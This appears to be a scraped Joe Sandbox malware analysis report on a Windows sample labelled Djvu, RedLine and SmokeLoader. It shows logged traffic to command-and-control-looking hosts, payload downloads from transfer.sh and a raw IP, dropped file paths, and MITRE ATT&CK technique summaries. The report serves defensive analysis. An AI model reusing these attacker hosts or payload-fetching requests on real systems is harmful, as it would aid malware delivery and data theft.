Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dipcj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 231Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pdujeftq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 278Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lmkympntg.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 242Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://khpcnlkw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 246Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://avuxv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 306Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hdmcxxriay.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 142Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mgqyrb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 272Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://efxdannslj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 128Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://scyxiteu.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 291Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://opfakis.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 263Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ntishu.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 111Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://biwrdybrv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 335Host: potunulit.org

Source: Joe Sandbox View	IP Address: 144.76.136.153 144.76.136.153
Source: Joe Sandbox View	IP Address: 144.76.136.153 144.76.136.153

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /get/pMeglv/Blue.bin HTTP/1.1Host: transfer.shConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /upload/libcurl.dll HTTP/1.1Host: 109.206.243.168User-Agent: curl/5.9Connection: closeX-CSRF-TOKEN: fmink0nOam7KoC/9AgKuecKr+zF4JrNpfDFMHBsXu52X3IlDVGlEcd+VtBrKAYeaJ5PIJVhvN1kt2smq7jZylA==Cookie: CSRF-TOKEN=fmink0nOam7KoC/9AgKuecKr+zF4JrNpfDFMHBsXu52X3IlDVGlEcd+VtBrKAYeaJ5PIJVhvN1kt2smq7jZylA==; LANG=en-US
Source: global traffic	HTTP traffic detected: GET /upload/libcurl.dll HTTP/1.1Host: 109.206.243.168User-Agent: curl/5.9Upgrade: websocketConnection: upgradeSec-Websocket-Version: 13Sec-Websocket-Key: owA5TgXDAlJegBd
Source: global traffic	HTTP traffic detected: GET /upload/libcurl.dll HTTP/1.1Host: 109.206.243.168User-Agent: curl/5.9Upgrade: websocketConnection: upgradeSec-Websocket-Version: 13Sec-Websocket-Key: Bn5huQMTqqBNkhY

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749

Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88
Source: unknown	TCP traffic detected without corresponding DNS query: 89.208.103.88

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report aw9Ynwqd1x.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Djvu

Threatname: RedLine

Threatname: SmokeLoader

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\dllhost.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NGenTask.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\226F.exe

C:\Users\user\AppData\Local\Temp\2560.exe

C:\Users\user\AppData\Local\Temp\336E.exe

C:\Users\user\AppData\Local\Temp\5898187.dll

C:\Users\user\AppData\Local\Temp\Library.exe

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4jbitbac.qx5.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kfuf4nv3.1n4.psm1

Windows Analysis Report
aw9Ynwqd1x.exe

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre